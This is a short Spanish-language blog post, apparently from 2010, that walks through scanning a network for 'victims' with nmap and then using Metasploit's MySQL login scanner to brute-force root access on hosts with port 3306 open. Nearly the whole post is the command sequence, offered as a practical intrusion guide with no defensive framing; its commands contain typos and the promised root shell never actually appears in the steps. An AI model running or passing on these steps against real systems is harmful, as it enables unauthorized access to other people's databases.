martes, 8 de junio de 2010

Obteniendo una root shell via matasploit auxiliary

Saludos mundo Libre.

Hoy no les traigo una wep sino algo tambien facinante es la obtencion de una root shell via metasploit no les pongo video hay muchos en la red de exelente calidad solo les pondre los comandos que acontinuacion les esplicare.

primero abrimos una shell y tecleamos

root@bt:~#msfconsole

ya abierto el metasploit tecleamos lo siguiente.

msf>nmap -n -sP ip de la red ********scaneo de la red para posibles victimas************

msf>nmap -n sv ip de la victima *********posible victima******************

ya encontrada la victina buscamos en esta parte el puerto 3306/tcp open Mysql que este abierto

luego tecleamos esto

msf>search Mysql ****buscamos scanner/mysql/mysql_login*****

ya que lo encontramos tecleamos esto.

msf>use scanner/mysql/mysql_login

msf>resource /tmp/sql_login.rc

msf>expoit *******y lanzamos el exploit *************

y buscamos

ip:3306-SUCCESSFUL LOGIN ROOT:ROOT

bueno esta es la primera entrega de este manual.

saludos Mundo libre.

No hay comentarios:

Publicar un comentario